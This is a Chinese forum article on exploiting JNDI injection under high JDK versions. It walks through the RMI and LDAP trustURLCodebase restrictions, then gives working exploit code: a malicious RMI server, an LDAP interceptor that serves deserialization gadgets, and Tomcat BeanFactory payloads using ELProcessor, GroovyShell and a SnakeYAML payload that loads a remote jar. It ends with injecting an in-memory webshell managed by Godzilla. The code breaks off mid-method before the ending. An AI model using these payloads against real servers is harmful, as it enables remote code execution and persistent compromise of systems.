JDK高版本下的JNDI利用以及一些补充
渗透测试
某次行动的时候遇到了jolokia的JNDI注入利用,由于诸多原因需要更稳定的shell,所以考虑JNDI打入内存马,但是遇到了瓶颈。现在准备进一步学习,争取能够实现这个通过JNDI打入内存马的功能。
回顾高版本JNDI改动 =========== LDAP改动 ------ 调用栈如下: ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-b2ffd615b1e383735a1c81bfee8d1ee8012d5796.png) InitialContext到GenericURLContext的内容都是JNDI功能共有的,为了实现动态协议转化。之后的PartialCompositeContext以及ComponentContext是LDAP功能封装一些环境设置。重点还是DirectoryManager的getObjectInstance 首先先从缓存寻找之前是否有加载过的工厂构造类,如果没有的话就直接往下去寻找Reference中的ObjectFactory类 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-bc1caa47ab36a0ba613cab11349ebdf1b036af14.png) getObjectFactoryFromReference的内容首先第一段helper的调用loadClass进行类加载。本质上是在调用Class.forName,指定类加载器为AppClassLoader进行全类名的类加载。很明显这一段我们是加载不到Factory类的,所以还是往下根据codebase进行类加载。 ```java static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null; // Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; } ``` 这里的codebase实际上就是lookup中的去除协议和搜索类之后地址。factory的name是搜索类名。比如ldap://localhost:8085/shell的话,那么codebase就是localhost:8085 继续跟进到helper的另一个传入了双形参的loadClass方法 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-fc4a753afd5c30d9ed3d4d7fb5ab0b8311b08970.png) 然后我们比较一下8u191更新前的loadClass ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-a538a841f57383678f7a06e4fa69644537cb9c85.png) 发现这里多了一个trustURLCodebase的判断,这也是高版本之后的对于远程codebase加载factory类的限制,默认是为false的,无法进行远程类加载。 那绕过点其实就在第一个helper.loadClass中,也就是我们通过AppClassLoader去初始化本地工厂类--clas。最后return的时候是将该clas进行newInstance实例化之后再返回出去,作为参数赋值给factory,在检测了该factory不为空之后,调用它的getObjectInstance方法,之后的所有基于本地工厂类的攻击方式,都是依靠着这个getObjectInstance方法做文章 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-62b2dcabc0a08e702e45dea38e2965831e421f9d.png) RMI改动 ----- 写一个RMI的恶意服务端 ```java package JNDI_High; import org.apache.naming.ResourceRef; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; public class Evil_Reference { public static void main(String[] args) throws Exception{ LocateRegistry.createRegistry(1099); InitialContext initialContext=new InitialContext(); //Reference refObj=new Reference("evilref","evilref","http://localhost:8000/"); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" + "(['calc']).start()\")")); //initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",ref); initialContext.rebind("rmi://localhost:1099/remoteobj",ref); } } ``` 然后由客户端initialContext.lookup一下rmi://localhost:1099/remoteobj即可 来看调用栈 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-d334d42f57d2068642a485d537702251980af0ca.png) 重点改动还是在decodeObject里面,这里RMI又自己新增了一段trustURLCode的判断。不过这里倒不是最影响的,因为它的判断逻辑是!trustURLCode,而trustURLCode默认为flase,所以当这条判断逻辑前面两个,也就是Reference对象不为空,且远程codebase的构造factory的地址也不为空的话,该if判断必过,抛出异常The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.。这也是RMI在高版本JDK中JNDI注入限制点。 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-8bf5b2cdaf92af8fa9695c238e6450d631a942a8.png) 当我们指定本地工厂进行加载,或者利用其它绕过方式,没有进入该if判断后,依然调用NamingManager的getObjectInstance方法。 所以说到底,RMI和Ldap各自高版本限制的区别在于: - RMI的高版本限制在JNDI的SPI功能实现--NamingManager之前,提前将Reference对象中的远程factory判断住,抛出异常。 - Ldap的高版本限制在于最后SPI接口功能实现DirectoryManager,这里说是DirectoryManager只是为了好区分,落脚点还是在NamingManager的getObjectFactoryFromReference方法中,最后一步加载远程工厂类的时候给catch住了,if ("true".equalsIgnoreCase(trustURLCodebase))判断条件过后才能远程类加载工厂类,不过trustURLCodebase被默认设置为了false JDNI-ldap攻击面扩展部分 ================ 原理解析 ---- 主要是关于扩展LDAP的一段反序列化攻击。漏洞点在获取工厂类的前面部分,具体类和具体方法就是LdapCtx#c\_lookup,这其实并不难理解,不论是RMI还是LDAP,首先获取Reference对象的时候就是通过反序列化获取的,只不过RMI中也有一段decodeObject,那个是最终在解析工厂类了,而LDAP中则是在获取远程Reference对象 此时要想调用到Obj对象的decodeObject方法,就必须要满足这个条件:if (((Attributes)var4).get(Obj.JAVA\_ATTRIBUTES\[2\]) != null),什么意思呢?这里的JAVA\_ATTRIBUTES其实是一段属性值固定的字符串数组,结果为:static final String\[\] JAVA\_ATTRIBUTES = new String\[\]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};,然后var4是由var25得来,而var25是由指定远程地址获取到的LdapResult中所对应的LdapEntry,这个LdapEntry也就是之后也是我们需要构造的一个对象。根据后续的几个if条件,LdapResult的status属性值不能为0,其次该LdapResult中的LdapEntry只能有一个。之后的var4就是该entry所对应的键值。 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-7160a22b7c09ff3beddad2a1c4c581161bcd8c28.png) 跟进decodeObject方法,这代码已经被反编译的不成人样了,但是我们依然能够找到关键方法deserialzeObject。Var0参数就是我们传入的反序列化数据,如果想要走到deserializeObject方法,就必须满足if ((var1 = var0.get(JAVA\_ATTRIBUTES\[1\])) != null)这段if判断,其实也就是从远程服务器中获取到的结果Entry中的javaSerializedData键所对应的序列化值不能为空即可 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-634b89f274ff2837bb6889fa9f05adb2377b1bd3.png) 继续跟进deserializeObject方法,注意此时的var0就是serializedObject的序列化数据的字节数组 这里经过ByteArrayInputStream封装之后,再经过一层ObjectInputStream的处理之后,调用readObject方法进行反序列化 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-f37c5b3ba9d5d65f384bfbf69afb347d8ef51421.png) 具体构造利用 ------ 原理还是比较简单,就是看如何利用,其实就只有从头开始定位到恶意序列化数据如何传入的就行。总体是一个LdapResult,其中包含一个LdapEntry用来指定对应数据块。这个Entry里面至少包含两个键值对,一个是JavaClassName键对应必须要有值,是啥无所谓。对应判断((Attributes)var4).get(Obj.JAVA\_ATTRIBUTES\[2\]) != null。第二个是JavaSerializedData必须要有值,并且这里存放的就是我们恶意序列化链的数据。 对应的构造代码: ```java import JNDI_High.Server.Utils.CCEXP; import JNDI_High.Server.Utils.SerializeUtil; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class OperationInterceptor extends InMemoryOperationInterceptor { public String protocol; public OperationInterceptor(String protocol){ this.protocol=protocol; } @Override public void processSearchResult(InMemoryInterceptedSearchResult searchResult){ String base = searchResult.getRequest().getBaseDN(); Entry e = new Entry(base); try{ e.addAttribute("javaClassName", "foo"); e.addAttribute("javaSerializedData", (byte[]) SerializeUtil.serialize(CCEXP.getPayloadCC6())); System.out.println("[" + protocol + "] Sending serialized gadget"); searchResult.sendSearchEntry(e); searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception exception){ exception.printStackTrace(); } } ``` 用unboundid-ldapsdk搭建的一个恶意Ldap服务器,InMemoryOperationInterceptor的主要功能就是起到一个拦截器的作用,当服务器接收到ldap请求时,会优先经过该拦截器,执行其中的逻辑。这里可以选择重写processSearchResult方法,它的作用就是当接收到搜索请求时,会用他的逻辑来处理搜索结果。而这个结果就是我们需要构造的LdapResult。具体的构造在trycatch块中。其中SerializeUtil.serialize(CCEXP.getPayloadCC6())主要是为了获取到的任意反序列化链的序列化数据,具体情况跟目标服务器中的依赖相关。这里我就选择CC了。 跟进一遍流程,看一下关键点 模拟被攻击端的代码就是initialContext.lookup()了,具体不多写。 直接来到第一段关键if判断,这里可以看到var4中此时存储了两段键值对,当取到javaclassname的时候,至少不为空,所以能够满足该if判断条件 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-0a73c5dacb4fd80ec50e0d8df8e5bbc820ba4cd9.png) 再跟进decodeObject,此时的var0还是attributes,并且取出javaSerializedata不为空,所以顺利进入deserializeObject进行反序列化。有一个小点可以提一嘴,最开始的内容有一段获取var0的JAVA\_ATTRIBUTES\[4\]键值,也就是获取键为javaCodebase的值,这里其实将其置空也是没问题的,后续获取到的ClassLoader依然会从getContextClassLoader()方法中获取。 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-8eb789e016655ec3b0647b7b2a48a410160a6cfd.png) 总结待写:具体到哪些版本能够利用LDAP的反序列化绕过高版本JDK的限制。至少8u系列版本中,202是没问题的 高版本JDK下的JNDI具体利用 ================ 很大一部分都是依靠beanFactory来做文章,它存在于Tomcat的本地工厂类。但是beanFactory本身也是有依赖版本限制的,最高的版本是tomcat8.5.79版本 BeanFactory利用 ------------- 有很大一部分的高版本绕过都是通过BeanFactory来的,但是这个利用方式有版本限制,说先就是BeanFactory是在taomcat8才被引用,在tomcat8.5.79存在一次安全更新,之后的8系列版本用不了了。在此之后我也这么认为,但是当我切换到tomcat9系列版本之后,又存在如下9系列版本是可以继续利用的: tomcat9.x.x<=tomcat9.0.62版本下,都可以利用BeanFactory进行JDK高版本绕过 tomcat10系列以及11版本的探索还未进行,只不过这部分的探索遇到了之后再进行吧 其实这些安全部分的修复,都是关于forceString trick的。具体内容可以参考tomcat对应版本的commit就好 ### BeanFactory解析 首先要了解为什么BeanFactory能够作为本地工厂类达到绕过的效果。一切都基于JNDI处理查询和获取远程对象的逻辑,先获取工厂类,之后再调用工厂类的getObjectInstance方法进行指定对象的查找。这里拿LDAP链最后DirectoryManager执行getObjectInstance逻辑的来举例: 我们将封装了BeanFactory的Reference对象序列化之后,将结果绑定至LdapEntry的serializeData键值对中,这里就是扩展Ldap攻击面中讲到的逻辑了,他会先反序列化Reference对象,然后通过Reference中获取Factory对象的信息,根据这段info来创建工厂类 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-92b82d7d266c34b7fce25e962c427dca50952cdf.png) 再跟进getObjectFactoryFromReference方法,看看最终是如何绕过的: 由于我们指定的工厂类是一个本地工厂类,并且给到的是全类名,所以能够直接通过help.loadClass方法加载到,本且跟进loadClass发现他本质上还是在调用forName进行全类名搜索的类加载,所以肯定是能够加载到BeanFactory的 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-1a263231a5eec061fb4f8904a63b3c185364c67b.png) 后面的if判断中,其中有一段class==null的判断,这里的话由于我们上面已经将clas加载到了,所以就不进入这段根据reference中的codebase加载工厂类的逻辑了,直接return出去。然后ldap关于高版本的远程类加载的限制就是在这个新的helper.loadClass(factoryName, codebase);中,所以绕过就是这么产生的。 那么BeanFactory本身是怎么被利用的?它的getObjectInstance方法有点小长,不过总体我们能够拆成3个部分: - 从ResourceRef对象中取出sourceClass,也就是我们要利用的类。注意这个类必须是bean类,然后获取该bean的一些信息Ref,准备开始获取关键信息:forceString,addrs - 如果此时的forceString不为空,说明要进行一段方法调用,此时取到的StringRefaddr键值对,对应的就是,进一步将其提权,也就是将x=任意方法提取出来,该任意方法就是等下要被调用的方法 - 开始循环遍历StringAddr,如果发现有一段不是forceString作为键的键值对,就将将其键所对应值取出(注意该对应值只能为String类型),然后将刚才forceString中取出的方法也取出(这个方法只能是public字段,因为是反射获取,但是并没有setAccessible)。最后将该对应值作为字符串参数,调用该方法 总结到这我们看一段如何构造ResourceRef的代码段就更容易理解了。 ### ELProcessor利用 ```java import org.apache.naming.ResourceRef; import javax.naming.Reference; import javax.naming.StringRefAddr; public class ScriptEngineManagerBypass { public Reference getBypass(){ ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" + "(['calc']).start()\")")); return ref; } } ``` 根绝上面对于BeanFactory的利用解析,那么就是将ELProcessor中的eval方法取出,并且将第二段StringRefAddr的键对应值取出,作为String类型的参数,调用eval方法。所以最终产生的利用效果伪代码如下: ```java new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" + "(['calc']).start()\")") ``` 既然能够代码执行,其实就有很多方式进行RCE或者其他更多的奇技淫巧了,这里只是最简单直接的JS引擎的RCE ### snakeyaml利用 snakeyaml中最基本的利用就是new org.yaml.snakeyaml.Yaml().load("snakeyamlpayload");,这跟BeanFactory的利用条件是很适配的,只需要调用实例化方法之后,调用其某一公共方法就能够达到代码执行或者RCE的目的。 构造如下: ```java package JNDI_High.bypass.BeanFactory; import org.apache.naming.ResourceRef; import javax.naming.Reference; import javax.naming.StringRefAddr; public class snakeyamlBypass { public Reference getBypass(){ ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); String yamlpayload="!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]"; ref.add(new StringRefAddr("forceString","x=load")); ref.add(new StringRefAddr("x",yamlpayload)); return ref; } } ``` ```java if(controller.equals("snakeyaml_bypass")){ e.addAttribute("javaClassName","foo"); e.addAttribute("javaSerializedData",(byte[]) SerializeUtil.serialize(new snakeyamlBypass().getBypass())); } ``` 这里的snakyaml payloadjar是https://github.com/artsploit/yaml-payload/blob/master/README.md中提到的,构造步骤都写好了,注意编译java文件时,字节码版本和对应服务器要对应上 ### GroovyShell利用 在groovy.lang.GroovyShell包下存在public方法evaluate,并且我们能够通过传入单字符串参数进行groovy脚本执行 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-1ca8c817099b117ae5503aee21fcb1845f592317.png) 具体的构造如下: ```java package JNDI_High.bypass.BeanFactory; import org.apache.naming.ResourceRef; import javax.naming.Reference; import javax.naming.StringRefAddr; public class GroovyBypass { public Reference getBypass(){ ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=evaluate")); ref.add(new StringRefAddr("x", "\"calc\".execute()")); return ref; } } ``` ```java ..... if(controller.equals("groovy_bypass")){ e.addAttribute("javaClassName","foo"); e.addAttribute("javaSerializedData",(byte[]) SerializeUtil.serialize(new GroovyBypass().getBypass())); } searchResult.sendSearchEntry(e); searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS)); ``` 写入内存马 ----- 其实关于BeanFactory或者其他的不依靠BeanFactory的JNDI高版本绕过还有很多方式,这里我就只写了我自己学习到的,能够理解原理的几个方向。其他的比如结合JDBC来进行绕过,等我之后学完之后再详细出一篇,不过就不会补到这篇JNDI了,之后JDBC利用篇再补充。 稍微思考一下使用背景和使用条件,首先对应环境存在jndi注入,并且我们测得了具体的依赖的情况。然后是注入内存马必须要有代码执行,对于这一点,上述所有的利用方式都存在代码执行,但是要说JNDI高版本绕过的普适性(包括JDK版本,以及中间件版本等一系列情况),我会选择LDAP的反序列化打入。因为内存马注入的代码十分的长,不可能通过构造表达式的内容就能写好的,所以一定要将注入的逻辑和JNDI注入的逻辑分开。其实还有一段snakeyaml的攻击方式也是能够达到同样效果的。但是一切通过BeanFactory进行的JNDI注入绕过,一定离不开tomcat版本的限制,我想达到的效果至少是JDK17以上+Tomcat10以上的版本的内存马能够注入。综合以上几点才选择的LDAP反序列化打入内存马 开一段Springboot3的环境,也就是JDK17+tomcat10x版本的环境下,存在反序列化利用链,CC或者CB都可以。 两段路由都能用来测试,看过我之前那一篇高版本JDK模块化绕过文章的师傅应该对test路由还有点印象,这里又加上了JNDI测试的路由,重复利用一下(懒癌犯了) ```java package org.stoocea.spring3test.Controller; import jakarta.servlet.http.HttpServletRequest; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import sun.misc.Unsafe; import javax.naming.InitialContext; import java.io.ByteArrayInputStream; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Base64; import java.util.Scanner; @Controller public class AdminController { @RequestMapping("/test") public void start(HttpServletRequest request) { try{ String payload=request.getParameter("shellbyte"); byte[] shell= Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(shell); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); } } @RequestMapping("/JNDI") public void jndi(HttpServletRequest request){ try{ String JndiPayload=request.getParameter("JNDI"); InitialContext initialContext=new InitialContext(); initialContext.lookup(JndiPayload); }catch (Exception e){ e.printStackTrace(); } } } ``` 然后看一下LDAP服务端我们是怎么构造的,这里其实就是我上面一直在用的思路,重写InMemoryOperationInterceptor,自己构造一段Interceptor的逻辑,用来分各种情况进行讨论。(controller的思路是参考X1roz师傅的JDNIMap项目得来) ```java @Override public void

拿基本的godzilla或者其他的shell管理工具都行,这里只做最简单的演示 ![image](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-f463ee07c7455dc542c2de078bc7e89eeabb7738.png) 后记 == 学习的时候还看了1ue师傅写的关于JDK20+之JNDI注入Bypass思路的文章,其实X1roz师傅的JNDIMap工具中也封装了这个思路,不过本文的内容有点长了,就不补充了,师傅们可以参考如下链接继续看一下: <https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc>
